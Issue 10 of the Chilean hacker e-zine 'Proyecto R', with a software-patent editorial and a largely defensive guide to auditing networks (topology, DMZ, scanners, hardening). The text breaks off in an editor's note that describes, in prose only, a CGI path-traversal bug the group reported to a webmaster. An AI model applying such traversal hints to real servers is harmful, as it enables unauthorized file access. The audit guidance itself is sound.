Editorial -Patentes de Software-, Auditando Sistemas, Seguridad en Redes, Creando fuentes, Descubriendo Linux Red Hat 5.0 (parte II), AS/400, Seguridad Nivel 50 y algo mas, Auditoria HP/UX, Easter Eggs, Cronica del hmBCN '2000, Noticias CDLR, Noticias del Mundo del Espectaculo, Bugs.....
Texto Completo:
<< PROYECTO_R >> EL PRIMER MAGAZINE ELECTRONICO CHILENO
____ __ ____
/\ _`\ /\ \__ /\ _`\
\ \ \L\ \_ __ ___ __ __ __ ___\ \ ,_\ ___ \ \ \L\ \
\ \ ,__/\`'__\/ __`\/\ \/\ \ /'__`\ /'___\ \ \/ / __`\ \ \ , /
\ \ \/\ \ \//\ \L\ \ \ \_\ \/\ __//\ \__/\ \ \_/\ \L\ \ \ \ \ \
\ \_\ \ \_\ \____/\/`____ \ \____\ \____\ \__\ \____/ \ \_\ \_\
\/_/ \/_/ \/___/ `/___/> \/____/\/____/ \/__/\/___/ _______\/_/\/ /
/\___/ /\______\
\/__/ \/______/
LA COPIA INFELIZ DEL EDEN
MAIL:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
URL: www.cdlr.org
<--------: Numero 10 - Diciembre del 2000 :-------->
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: DISCLAIMER ::--..
Toda la informacion aqui contenida se publica unicamente con fines
educativos, el mal uso de la misma no sera en ningun caso responsabilidad
del editor ni de alguno de los miembros del staff, en algunos casos esa
misma informacion es solo un modo de diversion, ya que lo que aqui se
expone puede ser totalmente falso
Aunque poner en practica algunas de las cosas aqui publicada puede ser
ilegal, en ningun momento pretendemos inducir a la ilegalidad con
lo aqui expuesto.
Los acentos y caracteres especiales han sido eliminados para evitar
problemas de compatibilidad con algunos sistemas
Editor Recomendado Edit del DOS
En otros no se ve del todo bien
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: Staff Oficial ::--..
PlaXiuS Taker
AndyK ArcangneT
Mate Swichman Don Cucumber
ToNiK Mr.Nexus
TeeSPy CHacK
Death_Bot Billy
PerseoNet PunkyX
Ehhh,... quien da mas ?
..--:: Lamer del Mes ::--..
hola manga de lamos
[...]
yo te toy webeando a tu
y burlandome de ti por ke se mas ke voz
[...]
y por ke escribo para 2 de las mejores zines de latinoamerica
[ Nex: Desde luego, no volvera a ser para la R... ]
ke sin tener niuna wea tengo el puesto de cualquier wea k
estudio 6 años
y no voy a estudiar nunca
pq es una perdida de tiempo
[ Nex: xDDDDD, que mas se puede decir .... ]
..--:: Sux del Mes ::--..
Siemems, por no escuchar desde abril los mensajes que dejan en el numero
900 de su servicio tecnico esas amas de casa preocupadas porque se les
quemo la tostadora.
..--:: Soporte 911 ::--..
Usuario: Oiga, soporte..???
Soporte: Si se~or, en que le puedo ayudar..???
Usuario: Vera Vd. es que no me funciona mi mail..
Soporte: Hmmm, escribe bien su direccion de mail ?
Usuario: Creo que si, ... bueno, arroba es con 'b' o con 'v' ???
Plop..!!!
..--:: Saludos ::--..
SET http://www.set-ezine.org
RaregaZz http://raregazz.acapulco.uagro.mx
JJF/Hackers Team http://www.jjf.org
InET http://www.warpedreality.com/inet
HVen http://www.hven.com.ve
Networking Center http://www.networking-center.org
Zine Store http://surf.to/zs
NetSearch E-Zine http://www.netsearch-ezine.com
Y a todos los compa~eros que se nos olvidan...
Ante las numerosas quejas recibidas despues del zine anterior alegando
que el editor no estaba borracho durante su trabajo como en anteriores
numeros, en estos momentos una botella de Moskovskaia adorna mi mesa.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: Contenidos ::--..
01. Introduccion ................................. Editor
02. Editorial -Patentes de Software- ............. Editor
03. Auditando Sistemas ........................... TeeSPy & Don Cucumber
04. Seguridad en Redes ........................... Tomas Barros
05. Creando fuentes .............................. Shisei Brujo
06. Descubriendo Linux Red Hat 5.0 (parte II) .... Mr.Nuk3m
07. AS/400, Seguridad Nivel 50 y algo mas... ..... Taker
08. 3 1/2 (O mini-articulos, :)) ................. Varios
08.1/3 - Auditoria HP/UX .................. Don Cucumber
08.2/3 - Easter Eggs ...................... CHack
08.3/3 - Cronica del hmBCN '2000 .......... TnK
09. Noticias CDLR ................................ Editor
10. Noticias del Mundo del Espectaculo ........... Mate & TnK & Nexus
11. Bugs ......................................... TeeSPy & Nexus & CHack
12. Ha llegado Mail .............................. Nexus & Taker
13. Chistes, Cuentos y otras burradas ............ Varios
14. Llaves PGP.................................... CDLR
15. EOF .......................................... Editor
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 01. Introduccion ::--..
by Mr.Nexus
Y van 10 ediciones ya, mas de dos a~os de CDLR dando la murga por ahi. Es
normal que los editores se vayan gastando, jeje, ... si, has leido bien, en
este numero hay un cambio importante, yo! Durante la realizacion de este
numero el Sr. Taker ha escogido las mujeres, los estudios, las mujeres, el
trabajo, las mujeres, ... y demas trivialidades del mundo fisico en vez de
dedicar su tiempo a los lectores de la R, por lo que el puesto de editor ha
recaido sobre mi persona, el Nexus, a ver si lo hago bien...
Al tema, al tema, ... las colaboraciones para este numero han sido escasas.
Tal vez la gente no se haya enterado de que hemos vuelto a estar online o tal
vez fue porque durante la edicion del anterior numero, el editor tenia 0
gramos de alcohol en sangre y a la gente no le gusto su fino humor.
En este numero tenemos articulos de criptografia, como auditar redes,
seguimos con el curso de RedHat, el articulo de rigor de AS/400 por parte de
taker (casi es una tradicion xD), Easter Eggs, Sql, bugs, ... tambien hay
una peque~a cronica del Hackmeeting que se realizo hace poco en Espa~a ... y
muchas cosas mas que esperamos que os gusten.
Press any key to continue...
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 02. Editorial - Patentes de Software ::--..
by Mr.Nexus
El cambio de editor no solo supone un cambio en el handle de la linea
'Editor de este numero: Fu1An0', ... tambien hay cambios significativos en el
zine. Y empezando por la creacion de una editorial de verdad!
Es comun en los zines poner la tipica editorial con las mismas chorradas de
siempre, que si bienvenidos, que si en este numero tenemos tal y cual
articulo, y demas cosas, ... Pero eso no son editoriales propiamente dichas,
eso son introducciones, y por esa misma razon, hemos decidido hacer en la R
10 una editorial de verdad :) Una editorial en la que se debata algun tema
de actualidad que tenga relacion con la seguridad en las redes, o con la
informatica en general.
¿ Y que tema ha atraido nuestra atencion durante los ultimos meses ?, sin
duda las patentes del software. Se ha hablado largo y tendido sobre este
delicado tema, y se han escrito miles de lineas a costa de flames contra los
estados, compa~ias, grandes hermanos y demas ... En CDLR queremos colaborar
con esta campa~a, asi que aca va nuestro modesto aporte.
Las patentes de software constituyen el peligro mas inminente para el
desarrollo de la informatica actual. Tal vez el ejemplo mas claro y que esta
mas de moda en este momento sea el del algoritmo RSA. Hasta ahora nadie podia
usar la formula 'c = me mod n' en sus programas sin tener que pagar por ello
a la RSA. Estos hicieron un movimiento bastante curioso que algunos tacharon
de inteligente, 15 dias antes de que expirara esta patente decidieron liberar
la conocida formula y asi 'donarla' al mundo para que cualquier desarrollador
la use en sus programas. Muchas gracias RSA, a cambio te doy lineas y lineas
de publicidad gratis.
http://www.rsasecurity.com/news/pr/000906-1.html
Es logico que los programadores, dise~adores, analistas y demas, deseen
proteger sus ideas del plagio y la copia, pero desde luego esta no es la
manera. Compa~ias que hace 15 a~os se enriquecieron gracias a la falta de
patentes de soft, ahora se embarcan en la cruzada de patentar como suyas
ideas tan simples como hacer un "Sistema dinamico de preguntas mas
frecuentes" ( escribir una FAQ ... ), uno ya se rie por no llorar, ... ¿ es
posible patentar una idea?, ¿y una linea de codigo?
Ante el peligro real de las patentes de software, se han iniciado varios
movimientos de recogida de firmas en contra de este claro abuso por parte de
los gobiernos. El movimiento mas conocido es el iniciado por los chicos de
EuroLinux, en el que a traves de su pagina web recogen apoyos en contra de lo
que parece inminente por parte de los de arriba.
http://petition.eurolinux.org/index_html?LANG=es
Aparte del claro detrimento que las patentes de software provocan en el
desarrollo de nuevas empresas, productos novedosos y desarrolladores
brillantes, tambien constituyen un peligro hacia el soft libre. Probablemente
sea el mayor peligro que en la actualidad acecha a nuestro querido linux y
demas. Un software no es libre desde el momento en que sus desarrolladores
deben de pagar por usar 'algo' en su desarrollo. ¿ Que pasara cuando exista
una caracteristica novedosa que ansien todos los usuarios, pero que solo
pueda ser desarrollada usando un algoritmo ya patentado ?, ese sera el
comienzo del fin del soft libre ... y ya ha empezado.
Cada uno de nosotros como amantes de la libertad que somos, debemos
preocuparnos mucho por este tema tan delicado y actuar en consecuencia.
Debemos movilizarnos en contra de esta y otras ideas estupidas de los jefes
de arriba, ¿que mas nos queda?
Cierro con unas palabras del admirado John Carmack, el master del Quake, y
otros juegos 3D: "Me horroriza la idea de que se me pueda presentar un
problema, me ponga a resolverlo logicamente con las herramientas adecuadas, y
acabe teniendo un programa que no puede ser usado legalmente porque alguien
siguio los mismos pasos hace a~os y registro una patente sobre ello."
Informacion:
http://www.juantomas.com/letter_ex1_es.html
http://www.freepatents.org/
http://www.barrapunto.com/articles/100/09/15/0835254.shtml (y otros...)
http://lpf.ai.mit.edu/
http://petition.eurolinux.org/index_html?LANG=es <- ¿A que esperas? firma ya!
Como noticia de casi ultima hora, en estos momentos la Comision Europea
esta debatiendo el tema de las patentes del software. Cualquiera puede enviar
un mail a la direccion
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
para que sea transmitido a
los representantes de cada pais de la UE, tratando de evitar la inminente
catastrofe que se nos viene encima.
Las reglas de redaccion de estos mails se pueden encontrar junto con mucha
mas informacion en: http://petition.eurolinux.org/consultation
No seas pasivo con este tema, .... tu futuro depende de ello.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 03. Auditando Sistemas ::--..
by
teespy <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>
&
Don Cucumber <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>
----[[ Intro ]]
Ultimamente me he dado cuenta de que en bastantes listas de correo en las que
estoy subscrito gente pregunta ke factores se deben tomar en cuenta a la hora
de hacer una auditoria. La gente responde con "revisa las checklists de
www.xyz.org, pero eso es solo el comienzo, luego haz lo demas". Lo malo es
que en ninguna parte he visto como se hace lo demas.
El articulo, como lo dice el titulo (o como en el futuro lo dira por que al
momento de escribir esto aun no le pongo titulo), trata de como, *segun mi
punto de vista*, se deberia hacer una auditoria.
No soy ningun experto en seguridad. De hecho, estoy lejos de serlo, pero si
tengo bastante experiencia con redes y seguridad. Lo suficiente a mi parecer
para escribir sobre esto sin cometer grandes equivocaciones.
He visto en la web guidelines de como hacer auditorias, reglas a seguir,
cuantificaciones, graficos, etc. Al parecer toda el area de como hacer
auditorias ya esta reglamentada.
Supongo entonces ke sera conveniente decir que NO he leido ninguno de esos
documentos, y de hecho tampoco pienso ni me interesa hacerlo. Trate de
encontrar documentos que si explicaran tecnicas, tips, sugerencias, etc. No
encontre mucho sobre esto.
Entonces, lo que salga de este articulo no es para nada ni pretende ser la
"guia final de las auditorias", pero si pretende al menos aportar un poco al
tema. Vamos, ke de cualkier cosa ke tenga letras se puede sacar algo.
Una auditoria consiste en una investigacion de una red, por lo cual el
objetivo principal es reunir la mayor informacion posible de esa red, y
entonces analizarla y sacar resultados, para luego poder asegurar la red.
En el documento tratare de explicar la manera de analizar y de sacar
conclusiones sobre cada aspecto a tomar en cuenta. De decir por que esta bien
hacerlo de esta manera o mal de esta otra, que implicaciones tiene la una o
la otra, etc.
Lo dicho. Vamos a empezar.
Nota: Cuando hablo de "maquina", me refiero a un computador, computadora,
box, tarro, PC o como se kiera llamar.
----[[ Topologia de la red ]]
La primera cosa a tomar en cuenta a la hora de auditar una red, es su
topologia. i.e. Donde colocar el firewall, donde poner el/los Bastion
Host(s), donde deberia ir el IDS, y cual es la configuracion de red interna
mas adecuada para cada caso, etc.
En este capitulo entonces, analizaremos 2 cosas:
- La topologia del lugar de nuestra red en la
que se produce el "choke" con internet.
- La topologia interna de la red.
Partiremos con la red de choke (notese que este no es el nombre verdadero que
se le da a esa red ni nada por el estilo, o al menos no he escuchado nunca
que la llamen de esa manera. Es solo la forma en que yo lo llamo), para luego
pasar a la topologia de la red interna.
--[ Red de choke ]
(Basado en gran parte en [1])
En la mayoria de las redes, siempre habran algunas maquinas que deben quedar
mas expuestas que las otras. Esto no se elige al azar. Hay maquinas que DEBEN
estar mas seguras que otras, ya que estan mucho mas expuestas a internet.
Consideremos, por ejemplo, los 3 modelos mas tipicos de topologias de redes
que conozco (estos se aplican a redes peque~as, pero con un poco de logica
los podemos ampliar para aplicarlos a redes mas grandes).
Antes de ver los ASCII, algunas definiciones:
- Bastion Host: El sistema que esta en contacto directo con internet y los
posibles atacantes. Normalmente el primer blanco en cualkier atake, y por
las mismas razones, uno de los servidores a los que mas hay que prestar
atencion en lo que respecta a seguridad, mantencion, updates, etc.
Normalmente es el caso de los servidores web, news, mail, etc.
- lin(x): Representan las lineas de cableado que unen a 2 makinas, o a 2
redes, o a una red y una makina. Notese ke lin(x) no es ningun nombre
estandar ni nada asi. Es solo el nombre que les puse para poder referirme
a ellas mas facilmente.
- NAT: "En su mas simple configuracion, NAT (Network Adress Translator, o
Traductor de direcciones de red), opera como router conectando 2 redes;
Una de esas redes, designada como "inside" (interior), tiene asignadas
direcciones privadas u obsoletas ke necesitan ser convertidas en
direcciones legales antes de que los paquetes sean redirigidos hacia la
otra red, designada como "outside" (externa, normalmente internet)." [2]
Existen muchas implementaciones de NAT, algunas como software para
diferentes SO, y otras implementadas en los mismos routers.
La implementacion de NAT en linux 2.2.x se conoce como IP-masquerade.
Se puede encontrar mas info de NAT en [3].
- Router: Obviamente, el encargado de comunicar las redes. Puede ser un
router tradicional, o un sistema actuando como router mediante NAT
( ip-masquerade ), routing protocols, etc. Se analizara que es mas
conveniente usar en cada caso.
- Firewall: Nuestro sistema de filtrado de paquetes. Puede ser desde un
simple linux con ipchains filtrando paquetes, hasta un sistema firewall
avanzado como CheckPoint FW-1, o tambien un linux ke esconda nuestra red
interna mediante NAT (en este caso, tendremos un router/firewall).
Ahora, los ejemplos...
Ejemplo #1-
|-----------------| lin0 |------| lin1 |--------|
| red interna, |----------|router|----------|Internet|
| bastion host(s) |----------|normal|----------| |
|-----------------| |------| |--------|
(Con router normal me refiero a ke el router no es un sistema con NAT)
Esta, es una configuracion MUY poco deseable.
Primero que nada, el/los bastion host(s) estan ubicados dentro de la red
interna, lo cual es, repito, MUY poco conveniente. Ahora digo por que.
El firewall en esta red, debe ir en la interfaz de red lin0, lo mismo con el
IDS. Esto trae en si varios problemas: La configuracion de nuestro firewall
se volvera tediosa y en muchos casos insegura y propensa a errores, al
tener ke dejarlo mas o menos abierto, para que asi nuestros bastion(s)
host(s) pueda(n) servir a su(s) proposito(s) (servidor web, news, mail, etc.)
Por otra parte, si es que un intruso logra entrar al sistema (normalmente a
travez de alguno de los bastion hosts), este tendra facil acceso a todo el
resto de la red (podra snnifear conecciones, al estar en el mismo segmento de
red que otras maquinas, no tendra restricciones como firewalls en su camino,
etc.).
Y como ultima cosa, aunque hemos dicho que el bastion host es el server que
esta en contacto directo con internet, en este caso, tendremos que todas
nuestras maquinas seran de una u otra manera bastion hosts, lo que
obviamente, no es para nada conveniente.
Ejemplo #2-
|-----------------| lin0 |------------| lin1 |--------|
| red interna |----------|bastion host|----------|Internet|
| |----------| NAT router |----------| |
|-----------------| |------------| |--------|
Esta es una tipica configuracion de una "home office" o de alguna red de una
empresa peque~a.
Aqui, primero tenemos un servidor corriendo algun software NAT (mas conocido
como ip-masquerade en el mundo linux 2.2). En esa misma makina, es donde se
encuentra nuestro bastion host, y ademas, nuestro firewall, ke en este caso
sera el mismo software NAT, que esconde las makinas ke estan detras de el,
las cuales no son accesibles directamente mediante internet.
La configuracion es bastante buena en muchos casos, ya que la unica maquina
con la que tenemos que ser paranoicos, es el bastion host. (por supuesto,
esto no quiere decir que tenemos que descuidar las demas. Siempre esta la
posibilidad de que alguien accese al bastion host, y desde alli gane acceso
a la red interna, o que el atacante sea un usuario interno, aunque esta
posibilidad es poco comun, ya que normalmente estas redes son peque~as,
muchas veces de un solo usuario ke usa varias makinas).
Por ultimo decir que, si nuestra red empieza a crecer, y ya necesitamos algo
mas avanzado, como tener makinas separadas para los distintos servicios, o
varios hosts diferentes que den cara a internet, esta configuracion se
kedara chica para nuestras necesidades, y necesitaremos cambiar a una ke
acepte mas posibilidades, como la que se expone en el ejemplo #3.
Ejemplo #3-
|-----------| lin0 |------| lin1 |-------| lin2 |------| lin3 |--------|
|red interna|------|router|------|bastion|------|router|------|Internet|
| |------| |------|host(s)|------| |------| |
|-----------| |------| |-------| |------| |--------|
Esta, por ultimo, pasa a ser una configuracion para redes mas grandes.
En ella tenemos 2 routers: El primero, entre la interfaz lin3 y la lin2, es
normalmente llamado "access router", y es el que nos da acceso a internet.
Por el pasa todo el trafico entrante y saliente de la red.
El otro router (que se encuentra entre lin0 y lin1 en el ejemplo), es el que
separa el segmento en donde se encuentra(n) el/los bastion host(s) de nuestra
red interna. Este router realiza filtrado de paketes, para proteger a nuestra
red interna.
A la zona que se encuentra entre los 2 routers, se le llama DMZ (acronimo de
DeMilitarized Zone).
Lo bueno de esta configuracion es que al estar nuestra red interna y nuestra
DMZ en distintos segmentos de red, si un intruso entra a nuestra DMZ (la cual
sera normalmente el primer blanco de cualkier intruso), este no tendra acceso
facil a nuestra red interna, al no poder snnifear desde alli el trafico de la
red interna.
Por otra parte, al tener todos nuestros bastion hosts en la DMZ, no tenemos
que preocuparnos de dejar acceso desde internet a nuestra red interna (los
hosts ke esten en esta normalmente seran Estaciones de trabajo, makinas de
desarrollo, etc.), podremos tener un firewall con una configuracion muy
restrictiva (paranoica?), sin que esto moleste mucho. Con esto, los datos de
la red interna tendran un nivel de seguridad bastante confiable.
Y bueno, no vale la pena decir que en una configuracion como esta hay ke
tener especial cuidado con la DMZ. Si es posible correr un IDS sobre ella,
tener un logserver que guarde todos los logs, un firewall hacia fuera, etc.
Todo lo ke se nos ocurra para asegurar este segmento :).
Cabe aclarar ke todo lo expuesto arriba son solo ejemplos de las topologias
de red mas comunes.
Ahora, ke ke tiene ke ver esto a la hora de auditoria ?
La respuesta es un poco obvia: Si por ejemplo nos toca hacer una auditoria a
una red peque~a, y esta red esta con una configuracion como la del tercer
ejemplo, le diremos que le conviene cambiarse a la del ejemplo #2, ya que
asi ahorrara recursos y la productividad sera la misma.
Y bueno, ya que las redes pueden estar configuradas de muchas maneras, todas
ellas distintas, y que las necesidades de la empresa / persona / universidad
/ etc. a la que estamos auditando tambien son muy cambiantes, nos tocara
aplicar un poco de logica y pensar en la solucion de topologia de red que mas
les conviene.
--[ Topologia interna de la red ]
El punto principal a tomar en cuenta cuando decidamos como organizar nuestra
red internamente es como debemos segmentarla. La segmentacion es importante
debido a que cuando uno snnifea, snnifea un segmento de red.
Entonces, si tenemos maquinas con info delicada en el mismo segmento de red
que una maquina de usuarios, es mas facil que un usuario gane acceso root en
la maquina a la que tiene acceso y desde alli acceda a la informacion
importante que atravieza por nuestra red.
Al segmentar una red debemos tomar en cuenta que este bien organizada, con
maquinas para un determinado proposito preferentemente en el mismo segmento
de red. Tambien es conveniente no tener segmentos de red demasiado grandes,
con el proposito de que si un atacante accesa uno de estos segmentos, tenga a
su disposicion la menor cantidad de maquinas posible.
Por otra parte, la segmentacion ayuda a organizar bien las cosas, para en un
futuro poder manejar todo mas simplemente.
Lo otro es ver que tecnologia usar (ATM, Ethernet, FDDI, etc.), pero la
verdad es que de esto no se mucho, y no podria recomendar nada. Lo unico que
se es que depende mucho de la cantidad de recursos ($$) que poseamos para
nuestra red y de que prestaciones necesitamos para ella.
----[[ Pruebas remotas ]]
Luego de haber analizado un poco la estructura de la red, y de haber dicho ke
es conveniente hacer este analisis la primera prioridad al auditar una red,
pasamos a otro punto ke es muy importante. Las pruebas remotas.
Con pruebas remotas me refiero principalmente a descubrir si los daemons
(servicios) que esta corriendo nuestro bastion host son vulnerables a algun
tipo de atake remoto, ya sea debido a alguna mala configuracion o a algun
problema de programacion (Buffer Overflow, Format Bug, etc.) del mismo
daemon|servicio.
En este punto hay que hacer el analisis de varias maneras. Una que sea
automatica (scaners) y otra en forma manual. Que por que en forma manual?
Que por que no puedes hacerlo todo click, click, click? Por que? Algunas de
las razones de porque no, son:
- Nunca un scanner te va a dar TODAS las posibles fallas.
- El Scanner no piensa, por lo general no toma decisiones por si solo.
- Quizas haya un firewall que este bien configurado y al detectar que lo
estan scaneando, te banee la IP y de como resultado (falso por cierto) una
maquina que no tiene fallos, pero tampoco tiene puertos abiertos, como por
ejemplo el puerto 80 (WWW), sabiendo que scaneas el servidor Web!
Voy a explicar un poco mas esto.. es claro que no hay un scanner que te diga
todas las fallas. Hay herramientas (me aburri de escribir scanners, porque
las que he usado son mas que un simple scanner).. ok, hay herramientas que
son excelentes para detectar fallas de plataformas Microsoft, como es el
ejemplo del CIS, pero no detecta muchas cosas que estan presentes en
plataformas de la familia Unix. Como tambien, por otro lado, en linux hay
herramientas excelentes, como el Nessus (http://www.nessus.org), que detecta
muchas cosas en las plataformas Unix, pero no detecta bien los archivos con
errores tipicos del IIS 4.0 de Microsoft, como las extensiones *.htw, *.htr,
etc.. Que se puede hacer?
Pues bien, usemos los dos! Asi se podra llegar a tener una idea mucho mas
global del problema. Les recomendaria que siempre revisen las maquinas desde
distintas plataformas.. no les estoy diciendo que si es un Linux el servidor,
lo revisen con el Nessus y si es un Windows NT, lo revises con el CIS, sino
que en cualquier caso, lo revises con los dos, por lo menos. Tambien esta el
Retina, ISS, etc.. pero esos son comerciales y MUY caros.
[NdE: Aunque todos tienen su version de evaluacion disponible para bajar.]
Otra cosa importante es que, si sabes que tienes un firewall por delante,
probablemente este banee tu ip y parezca que el servidor tiene TODO cerrado.
Lo que puedes hacer, si eres obstinado y quieres de todas maneras usar la
herramienta automagica, en el caso del Nessus y en cierto modo en el CIS, es
restringir las cosas a hacer. Por ejemplo en el caso del Nessus, que no es
mas que un Front End que llama a muchos scripts, puedes deshabilitar el
escaneo de puertos (eso es un flood del cual el firewall se defiende), etc...
y solo dejando activos los scripts que te van a ser de real ayuda.
Ahora el otro punto: Por que a mano tambien? Porque muchas veces una
herramienta de auditoria te va a dar los llamados 'falsos positivos',
entonces es recomendable usar una de estas herramientas y despues revisar los
errores detectados a mano (y si ves algo sospechoso, seguir revisando aun mas
alla a mano). Aca les va un ejemplo de una gran cantidad de 'falsos
positivos': Revisaba un dia una maquina, era un linux, yo sabia que estaba
mas o menos segura, porque no era de las distribuciones POP (RedHat por
ejemplo, sino que era Debian, que yo no uso, pero se que es tosca.. y es
tosca porque le da prioridad a la seguridad por sobre la comodidad), pero me
lleve la sorpresa del a~o, cuando me sale como resultado del Nessus, que
tenia mas de 45 HOYOS de seguridad.. eso es casi.. no se, es imposible, a
menos de que lo hayan hackeado y dejado 'de patas abiertas'.
Por ejemplo me salian errores como la pagina por defecto que deja el IIS de
microsoft, esa del ExAir o que estaba presente el 'showcode.asp' o el archivo
'get32.exe', etc.. siendo que era un linux, que no corria ASP, que no tenia
*.exe, etc.. Esto me parecio extremadamente raro y me puse a investigar a
mano y descubri que no importaba que URL pusiera, siempre me llevaba a la
misma pagina. En este caso era una pagina que me pedia login y password para
la administracion remota del servidor. Con eso le desconte alrededor de 42
hoyos, con lo que quedo con 3, lo que es normal.
Visto ya el por que es importante no solo confiar en las herramientas y hacer
el analisis remoto tambien a mano, pasamos a explicar un poco como.
Lo primero y lo mas obvio, es ver que daemons (o servicios, segun sea el
caso), estan corriendo los hosts de la red que queremos escanear, y buscar en
internet si estos son vulnerables a algun atake. Buenas fuentes de
informacion sobre vulnerabilidades, se pueden encontrar en [4], y por
supuesto, en la Home page del software al que le estamos buscando
vulnerabilidades.
Ahora, que no se halla descubierto ninguna vulnerabilidad en el software, o
que no halla ninguna publica, no kiere decir que este sea seguro. Siempre
cabe la posibilidad de que en un futuro se descubra alguna, o de que alguna
ya se halla descubierto por algun grupo y que este siendo mantenida en
secreto por este, para que asi solo ellos tengan el privilegio de
aprovecharse de ella. Es por esto que siempre debemos estar atentos a los
upgrades del software ke usamos, y a las ultimas noticias sobre este, y
tampoco debemos confiar en ningun software. Por mas seguro ke creamos ke sea,
lo mejor es tratar siempre de hacerlo correr con los menores privilegios
posibles, y dar la menor libertad posible a los usuarios sobre este. Otra
buena idea es correr siempre nuestras aplicaciones en un ambiente chrooted.
El otro punto importante a tener en cuenta a la hora de hacer el analisis
remoto, es probar la configuracion de nuestro daemon|servicio. De nada sirve
tener la ultima version del ftp mas seguro ke exista si tenemos habilitado el
ftp anonimo con accesso de lectura a /etc ( obviamente esto es una
exageracion, dudo ke alguna vez alguien se encuentre un server configurado
asi :).
La verdad es que de esto no se puede hablar mucho en un paper como este. Cada
daemon es distinto, cada uno tiene su configuracion diferente, cada uno tiene
puntos susceptibles a errores a la hora de la configuracion, etc.
Lo que si puedo recomendar es que si nos encontramos con el daemon XXX en
cierto puerto, averiguemos bien su funcionamiento, leamos su documentacion,
etc. Hay ke tomar en cuenta ke al ser esta una prueba remota, normalmente no
tendremos acceso a los archivos de configuracion del daemon|servicio, por lo
tanto aki juega un papel muy importante nuestra imaginacion y creatividad a
la hora de preguntarnos "ke es lo ke podria estar mal" o "ke pasaria si hago
tal cosa".
Puede que parezca ridiculo probar la configuracion de los daemons
remotamente, siendo que despues tendremos acceso a la maquina para revisar
los mismos archivos de configuracion (si, esto es una auditoria, se
acuerdan?), pero no es asi. Aun revisando los archivos de configuracion, se
nos pueden escapar muchas cosas que remotamente serian facilmente
detectables. Un muy buen ejemplo de como un servidor puede ser vulnerado por
medio del aprovechamiento de malas configuraciones puede ser encontrado
en [5].
----[[ Pruebas Locales ]]
Ahora llegamos a lo que para mi es el punto critico a la hora de asegurar
algo. La configuracion local.
Todo lo expuesto aqui es hablado como si estuvieramos auditando un server,
pero recordemos que en realidad nos estamos enfrentando con una red, por lo
tanto hay que analizar cada host singularmente.
Lo primero que recomiendo hacer es ver que cosas son las que realmente se
necesitan. A mayor cantidad de programas innecesarios corriendo, mayor riesgo
de que alguno de ellos sea un punto de entrada para un atacante.
Si el sistema ke estamos auditando cumple un rol demasiado importante en
nuestra red (por ejemplo un bastion host), seria conveniente tenerlo lo mas
"capado" posible.
Luego de haber revisado que cosas son las que se necesitan, toca ver que
estas sean seguras, es decir, nos toca elegir que daemons|servicios usamos.
En esto no puedo decir mucho. Hay bastante de donde elegir y normalmente
preguntando por alli siempre saldran recomendaciones de cual es mas seguro o
mas confiable. Tambien toca estar un poco informado, al menos en ambito
general. Esta bien por ejemplo que no nos decidamos que daemon ftp poner,
pero si por esas casualidades de la vida elegimos el wu-ftpd que tiene un
historial MUY grande de vulnerabilidades, luego no tendremos derecho a estar
quejandonos cuando un atacante nos deje un lindo mensage ke diga "You suck,
just like your ftpd :D".
Ojo que esto no corre solo para los daemons de Internet. Hay ke hacer una
revision de cada binario SUID o SGID del sistema, de cada proceso que corre
con privilegios elevados y que podria ser riesgoso, y luego buscar en inet si
estos son vulnerables a algun ataque.
Y bueno, despues de habernos asegurado de que corremos las aplicaciones
correctas, nos toca la tarea de revisar que estas esten bien configuradas.
Este punto es *importantisimo*. De nada vale tenerlo correcto si no lo
usamos correctamente.
Sobre la configuracion misma de los daemons|servicios nuevamente no puedo
decir mucho. Cada uno es diferente y se configura de diferente manera.
Algo que si puedo decir es que siempre tratemos de correrlos con los menores
privilegios necesarios, y que busquemos nuevamente en internet informacion
sobre como configurar las cosas correctamente. Hay que tener cuidado tambien
con los muchos daemons|servicios que por defecto traen una configuracion muy
precaria.
Hay ke prestar especial atencion a la configuracion de nuestro server httpd.
Normalmente el puerto 80 es uno de los mas vulnerables, esto debido a la
normal falta de preocupacion sobre el. Nuestros CGI's son peligrosos!, no
dejemos cualkier cosa en el wwwroot.
[NdE: Hace unos meses CDLR aviso a cierto webmaster de un fallo en un cgi que
usaba para mostrar las paginas. Se le pasaba como parametros una ruta y
un nombre de archivo. El bug es trivial, si se ponia la ruta hacia el
cgi se podia acceder al fuente del mismo y una vez examinado, se podia
ver que aceptaba los famosos /../ por lo que acceder a cualquier file
de la maquina era trivial. Un bug demasiado extendido en Internet.
